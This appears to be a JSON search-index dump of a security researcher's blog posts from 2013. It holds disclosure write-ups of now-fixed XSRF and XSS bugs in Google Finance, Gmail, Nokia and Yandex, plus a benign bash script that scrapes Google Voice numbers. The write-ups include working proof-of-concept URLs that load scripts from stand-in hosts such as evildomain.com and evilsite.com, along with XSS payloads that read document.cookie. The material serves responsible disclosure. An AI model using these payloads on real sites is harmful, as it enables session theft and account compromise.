\u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; They now has an arbitrary cookie set for google.com (USER_CONTROLLED_COOKIE_NAME), and a Google one (PREF) modified. Screenshots # This vulnerability was fixed in a week. The request now requires an anti-XSRF token and returns HTTP 400/Bad Request if it is missing.\nI received a $3133.7 reward and have been listed in the Google Security Hall of Fame for the fourth time.\nThank you, Google Security Team! :)\n","date":"September 15, 2013","externalUrl":null,"permalink":"/posts/xsrf-cookie-setting-google/","section":"Posts","summary":"Here I present a (reported and fixed) XSRF and Cookie manipulation vulnerability I discovered in google.com, requiring no user interaction. It was possible to set arbitrary cookies and tamper with existing ones.\n","title":"XSRF and Cookie manipulation on google.com","type":"posts"},{"content":"Here I present a XSS vulnerability I discovered in google.com, requiring no user interaction.\nIt is due to a glitch in Google Finance, which is hosted on google.com/finance, that allows to trick the Javascript application for plotting charts (in particular, source file /finance/f/sfe-opt.js) to load a file hosted on an external domain and eval() its content as Javascript code.\nThis exploit does not require any user interaction, it\u0026rsquo;s just a matter of clicking on a URL.\nSteps to reproduce: # Just click on this URL (now fixed): https://www.google.com/finance?chdet=1214596800000\u0026amp;q=NASDAQ:INTC\u0026amp;ntsp=2\u0026amp;ntrssurl=https://evildomain.com/x.js.\nFile x.js contains the following proof-of-concept code for demonstration purposes:\nalert(document.domain); The file must be hosted over HTTPS.\nThe remote Javascript is executed.\nHow does it work? # Here are two (obfuscated) code snippets of /finance/f/sfe-opt.js responsible for this vulnerability:\nc.push(\u0026#34;ntsp=\u0026#34;); c.push(b); if (b == Vl.jj || b == Vl.kj) (a = a.xc[ii(a.S)]), a.lj() || (c.push(\u0026#34;\u0026amp;ntrssurl=\u0026#34;), c.push(escape(a.Cc || \u0026#34;\u0026#34;))); return c.join(\u0026#34;\u0026#34;); In this first snippet, URL parameters, and in particular the ntrssurl parameter (address of a custom RSS feed) are fetched and concatenated.\nXi.prototype.send = function (a, b, c, d) { a = a || null; d = d || \u0026#34;_\u0026#34; + (Yi++).toString(36) + x().toString(36); n._callbacks_ || (n._callbacks_ = {}); var e = this.$s.Z(); if (a) for (var f in a) (a.hasOwnProperty \u0026amp;\u0026amp; !a.hasOwnProperty(f)) || Fi(e, f, a[f]); b \u0026amp;\u0026amp; ((n._callbacks_[d] = Zi(d, b)), Fi(e, this.Zs, \u0026#34;_callbacks_.\u0026#34; + d)); b = Wi(e.toString(), { timeout: this.We, Ns: !0, }); Si(b, null, $i(d, a, c), void 0); return { La: d, Du: b, }; }; This part of the code is responsible for querying an external domain for a newsfeed to be displayed on the plot as an overlay.\nIt generates a base-36 callback function name, and the function Wi performs an xmlhttprequest to the domain supplied in the ntrssurl parameter in the URL, appending ?_CALLBACK_.\nIn this case, a simple Javascript code is returned and eval()\u0026lsquo;ed.\nScreenshots # This vulnerability was fixed in a matter of days, and I received a $5k reward.\nThank you, Google Security Team! :)\n","date":"July 30, 2013","externalUrl":null,"permalink":"/posts/xss-in-google-finance/","section":"Posts","summary":"Here I present a XSS vulnerability I discovered in google.com, requiring no user interaction.\n","title":"XSS in Google Finance","type":"posts"},{"content":"Here I present a (reported and fixed) Stored XSS vulnerability I discovered in mail.google.com, which required no user interaction.\nIt is due to the phishing alert that, in the basic HTML layout, doesn\u0026rsquo;t escape correctly characters in the name of the sender. The sender name, which is under the attacker\u0026rsquo;s control, was printed without proper sanitization when GMail is browsed in the basic HTML layout.\nSteps to reproduce # Go to a well known fake mailer such as Emkei, or use any open relay SMTP server that triggers the phishing alert. Send an email to the victim GMail address with the From field: \u0026lt;img src=# onerror=alert(document.cookie)\u0026gt;. Choose UTF-8 as encoding. Open your Gmail in the basic HTML layout. Open the received email. BOOM! The XSS is stored: just simply reopen the mail anytime you want. This vulnerability was fixed in a matter of hours, I got a reward and have been listed in the Google Security Hall of Fame.\nThank you, Google Security Team! :)\n","date":"July 8, 2013","externalUrl":null,"permalink":"/posts/stored-xss-in-gmail/","section":"Posts","summary":"Here I present a (reported and fixed) Stored XSS vulnerability I discovered in mail.google.com, which required no user interaction.\n","title":"Stored XSS in GMail","type":"posts"},{"content":"Here I present a (reported) Flash-based XSS vulnerability I discovered in r.nokia.com, requiring no user interaction.\nPoC URL:\nhttp://r.nokia.com/s/6.0/assets/js/flashmediaelement.swf?debug=true\u0026amp;file=x%22});alert(1);//\u0026amp;autoplay=true\nThis is a well known vulnerability with MediaElement.js, that has been patched last year from version 2.11.2 (see CVE-2013-1967, GitHub patch commit).\nThe version running on r.nokia.com used to be 2.9.1, as could be seen in:\nhttp://r.nokia.com/s/6.0/assets/js/mediaelement-and-player.js\n( mejs.version=\u0026#34;2.9.1\u0026#34;; ) Screenshot using the Chrome debugger:\n","date":"June 29, 2013","externalUrl":null,"permalink":"/posts/xss-nokia/","section":"Posts","summary":"Here I present a (reported) Flash-based XSS vulnerability I discovered in r.nokia.com, requiring no user interaction.\n","title":"Flash-based XSS in Nokia's MediaElements component","type":"posts"},{"content":"Here I present a (reported) Flash-based XSS vulnerability I discovered in wordstat.yandex.com, requiring no user interaction.\nI think it is particularly interesting for several reasons.\nIt exploits the fact that the ammap.swf file, which is part of AmCharts, is vulnerable to external resource loading which allows for content spoofing and, ultimately, arbitrary JavaScript execution in the context of the hosting domain (in this case, wordstat.yandex.com).\nBy disassembling the SWF, we discover that the data_file and settings_file parameters are user controllable and injectable directly in the URL.\nHere is a link to a proof of concept:\nhttp://wordstat.yandex.com/flash/ammap/ammap.swf?path=\u0026amp;data_file=http://evilsite.com/ammap_data.xml \u0026amp;settings_file=http://evilsite.com/ammap_settings.xml\u0026amp;.swf\nWe control the \u0026ldquo;map\u0026rdquo; by providing two XML files, hosted on an external server.\nFile ammap_settings.xml just sets a white background, disables control such as zoom and arrows, legend, small map, etc.\nFile ammap_data.xml is the interesting one. Here is the malicious payload:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;map map_file=\u0026#34;http://appsec.ws/ExploitDB/Configs/amMap/people.swf\u0026#34; zoom=\u0026#34;100%\u0026#34; url=\u0026#34;#xss\u0026#34;\u0026gt; \u0026lt;movies\u0026gt; \u0026lt;movie file=\u0026#34;rectangle\u0026#34; oid=\u0026#34;xss\u0026#34; x=\u0026#34;0\u0026#34; y=\u0026#34;0\u0026#34; width=\u0026#34;100%\u0026#34; height=\u0026#34;100%\u0026#34; color=\u0026#34;#FFFFFF\u0026#34; alpha=\u0026#34;0\u0026#34; url=\u0026#34;javascript:alert(\u0026#39;XSS by Miki (//miki.it)\\ndocument.domain = \u0026#39; + document.domain + \u0026#39;\\ndocument.cookie = \u0026#39; + document.cookie + \u0026#39;\\nlocation.href = \u0026#39; + location.href)\u0026#34;\u0026gt; \u0026lt;/movie\u0026gt; \u0026lt;/movies\u0026gt; \u0026lt;/map\u0026gt; As you can see, an external SWF is loaded as a map, and an area (called a movie) of rectangular shape (file=\u0026quot;rectangle\u0026quot;) that covers the whole screen and is transparent (alpha=\u0026quot;0\u0026quot;).\nThe area, if clicked, brings to the execution of a simple JavaScript function, in this case an alert box that displays document.domain, document.cookie and location.href.\nIn order to make it work without user interaction, we have added an object id (oid) to the movie with the oid=\u0026quot;xss\u0026quot; tag, and simulated a click of the movie with the url=\u0026quot;#xss\u0026quot; attribute of the \u0026lt;map\u0026gt; tag, as documented in the AmCharts documentation (no longer online):\nAttribute Type Meaning url #object_id ID of the object which should be \u0026ldquo;clicked\u0026rdquo; when map initializes This leads to arbitrary JS execution in the context of wordstat.yandex.com without any user interaction:\n","date":"June 29, 2013","externalUrl":null,"permalink":"/posts/xss-in-yandex-flash-based/","section":"Posts","summary":"Here I present a (reported) Flash-based XSS vulnerability I discovered in wordstat.yandex.com, requiring no user interaction.\n","title":"Flash-based XSS in Yandex's AmCharts component","type":"posts"},{"content":"Google Voice is an incredibly useful service, offering numbers from nearly every area code in the US.\nIt is possible to search for a Google Voice number in their database by area or zip code. You can also enter a word or phrase you\u0026rsquo;d like to include in the number (exploiting the mnemonic format) from within the Google interface, and a convenient dialog box will show you available numbers that match your criteria.\nHackers don\u0026rsquo;t like limited graphical interfaces. We would love to use regular expressions to find interesting numbers. Our way.\nWhat if we wanted to search for Google Voice numbers with only a limited number of unique digits? Or a palindrome number? Or a binary number, made of just zeroes and ones? The little fancy Google dialog won\u0026rsquo;t help.\nWe need to grep!\nGreatly inspired by an old blog post, by Privacy Logs, I created a quick and dirty bash script that queries Google for available area codes, then downloads (most of) available numbers, and finally grep\u0026rsquo;s the hell of out them, finding cool numbers.\nExample of cool preset regexes:\nnumbers in pairs digit repeated at least three times various toggles palindromes ABABACDCDC format binary numbers 1337 numbers You just have to put your Google cookies (simply copy the HTTP header Cookie: \u0026lt;content\u0026gt; when visiting https://www.google.com/voice/b/0/setup/searchnew/ as logged in user into the COOKIES=\u0026quot;\u0026lt;content\u0026gt;\u0026quot; variable in the script). You can view cookies with the browser Inspector (for example, in Chrome, use the Network tab) or a Firefox plugin such as Live HTTP headers. Cookies are separated by a semicolon and a space, like this: COOKIES=\u0026quot;gv=content1; PREF=content2\u0026quot;. Mandatory cookies are gv, PREF, SSID, but you can just copy them all in the variable - it won\u0026rsquo;t hurt.\nOf course, this is just a dirty hack, and a quick Go or Python program can perform much better, maybe making use of multithreading.\nHere\u0026rsquo;s the code (also on Github!):\n#!/bin/bash URL=\u0026#34;https://www.google.com/voice/b/0/setup/searchnew/\u0026#34; # Add your cookies here COOKIES=\u0026#34;xxx\u0026#34; rm -f areacodes || true touch areacodes rm -f numbers || true touch numbers # Get area codes curl -ks --cookie \u0026#34;$COOKIES\u0026#34; \u0026#34;${URL}?ac=[201-999]\u0026amp;start=0\u0026amp;country=US\u0026#34; | grep -ho \u0026#34;+1[0-9]\\{3\\}\u0026#34; | cut -b3-5 | sort -u \u0026gt;\u0026gt; areacodes # Get numbers (BFS on digits) for AREACODE in `cat areacodes`; do printf \u0026#34;${AREACODE}0000000\\n\u0026#34; \u0026gt; numbers printf \u0026#34;Area code: $AREACODE\\n\u0026#34;; echo -n \u0026#34;Progress: 1%... \u0026#34;; cut -b1-3 numbers | sort -u | \\ (while read LINE; do CURL_URL=\u0026#34;${URL}?ac=${LINE:0:3}\u0026amp;q=$LINE[0-9]\u0026amp;start=0\u0026#34;; curl -ks --cookie \u0026#34;$COOKIES\u0026#34; \u0026#34;$CURL_URL\u0026#34;; done) | \\ grep -ho \u0026#39;[0-9]\\{10\\}\u0026#39; | sort -u \u0026gt;\u0026gt; numbers echo -n \u0026#34;10%... \u0026#34;; cut -b1-4 numbers | sort -u | \\ (while read LINE; do CURL_URL=\u0026#34;${URL}?ac=${LINE:0:3}\u0026amp;q=$LINE[0-9]\u0026amp;start=0\u0026#34;; curl -ks --cookie \u0026#34;$COOKIES\u0026#34; \u0026#34;$CURL_URL\u0026#34;; done) | \\ grep -ho \u0026#39;[0-9]\\{10\\}\u0026#39; | sort -u \u0026gt;\u0026gt; numbers echo -n \u0026#34;20%... \u0026#34;; cut -b1-5 numbers | sort -u | \\ (while read LINE; do CURL_URL=\u0026#34;${URL}?ac=${LINE:0:3}\u0026amp;q=$LINE[0-9]\u0026amp;start=0\u0026#34;; curl -ks --cookie \u0026#34;$COOKIES\u0026#34; \u0026#34;$CURL_URL\u0026#34;; done) | \\ grep -ho \u0026#39;[0-9]\\{10\\}\u0026#39; | sort -u \u0026gt;\u0026gt; numbers echo -n \u0026#34;42%... \u0026#34;; cut -b1-6 numbers | sort -u | \\ (while read LINE; do CURL_URL=\u0026#34;${URL}?ac=${LINE:0:3}\u0026amp;q=$LINE[0-9]\u0026amp;start=0\u0026#34;; curl -ks --cookie \u0026#34;$COOKIES\u0026#34; \u0026#34;$CURL_URL\u0026#34;; done) | \\ grep -ho \u0026#39;[0-9]\\{10\\}\u0026#39; | sort -u \u0026gt;\u0026gt; numbers echo -n \u0026#34;60%... \u0026#34;; cut -b1-7 numbers | sort -u | \\ (while read LINE; do CURL_URL=\u0026#34;${URL}?ac=${LINE:0:3}\u0026amp;q=$LINE[0-9]\u0026amp;start=0\u0026#34;; curl -ks --cookie \u0026#34;$COOKIES\u0026#34; \u0026#34;$CURL_URL\u0026#34;; done) | \\ grep -ho \u0026#39;[0-9]\\{10\\}\u0026#39; | sort -u \u0026gt;\u0026gt; numbers echo -n \u0026#34;80%... \u0026#34;; cut -b1-8 numbers | sort -u | \\ (while read LINE; do CURL_URL=\u0026#34;${URL}?ac=${LINE:0:3}\u0026amp;q=$LINE[0-9]\u0026amp;start=0\u0026#34;; curl -ks --cookie \u0026#34;$COOKIES\u0026#34; \u0026#34;$CURL_URL\u0026#34;; done) | \\ grep -ho \u0026#39;[0-9]\\{10\\}\u0026#39; | sort -u \u0026gt;\u0026gt; numbers echo -n \u0026#34;94%... \u0026#34;; cut -b1-8 numbers | sort -u | \\ (while read LINE; do CURL_URL=\u0026#34;${URL}?ac=${LINE:0:3}\u0026amp;q=$LINE[0-9]\u0026amp;start=5\u0026#34;; curl -ks --cookie \u0026#34;$COOKIES\u0026#34; \u0026#34;$CURL_URL\u0026#34;; done) | \\ grep -ho \u0026#39;[0-9]\\{10\\}\u0026#39; | sort -u \u0026gt;\u0026gt; numbers echo \u0026#34;Done.\u0026#34;; sort -u numbers \u0026gt; $AREACODE; done # Find interesting numbers mkdir results || true rm -f all || true for AREACODE in `cat areacodes`; do cat $AREACODE | grep -v \u0026#34;${AREACODE}0000000\u0026#34; \u0026gt;\u0026gt; all; done grep \u0026#34;\\([0-9]\\)\\1.*\\([0-9]\\)\\2.*\\([0-9]\\)\\3\u0026#34; all \u0026gt; results/pairs grep \u0026#34;\\([0-9]\\)\\1\\{3\\}\u0026#34; all \u0026gt; results/repetitions grep \u0026#34;\\([0-9]\\)\\([0-9]\\)\\([0-9]\\)\\([0-9]\\).?\\4\\3\\2\\1\u0026#34; all \u0026gt; results/palindromes grep \u0026#34;\\([0-9]\\)\\([0-9]\\)\\1\\2\\1\\2\u0026#34; all \u0026gt; results/toggle grep \u0026#34;\\([0-9]\\)\\([0-9]\\)\\1\\2.*\\([0-9]\\)\\([0-9]\\)\\3\\4\\3\u0026#34; all \u0026gt;\u0026gt; results/toggle grep \u0026#34;\\([0-9]\\)\\([0-9]\\)\\(\\1|\\2\\)\\{4\\}\u0026#34; all \u0026gt; results/twodigits grep \u0026#34;\\([0-9]\\)\\([0-9]\\)\\1\\2\\1.*\\([0-9]\\)\\([0-9]\\)\\3\\4\\3\u0026#34; all \u0026gt; results/ABABACDCDC grep \u0026#34;\\([0-9]\\)\\1.*\\([0-9]\\)\\2.*\\([0-9]\\)\\3\u0026#34; all \u0026gt; results/tripledouble grep \u0026#34;[0-9][0-9][0-9]\\([01]\\)\\([01]\\)\\([01]\\)\\([01]\\)\\([01]\\)\\([01]\\)\\([01]\\)\u0026#34; all \u0026gt; results/binary grep \u0026#34;[0-9]*1337[0-9]*\u0026#34; all \u0026gt; results/1337 grep \u0026#34;[0-9]*1337$\u0026#34; all \u0026gt; results/1337_end rm -f all Enjoy, and feel free to comment! :)\n","date":"March 17, 2013","externalUrl":null,"permalink":"/posts/get-perfect-google-voice-number-grep-regex/","section":"Posts","summary":"Google Voice is an incredibly useful service, offering numbers from nearly every area code in the US.\nIt is possible to search for a Google Voice number in their database by area or zip code. You can also enter a word or phrase you’d like to include in the number (exploiting the mnemonic format) from within the Google interface, and a convenient dialog box will show you available numbers that match your criteria.\n","title":"Get the perfect Google Voice number, Grep-style!","type":"posts"}]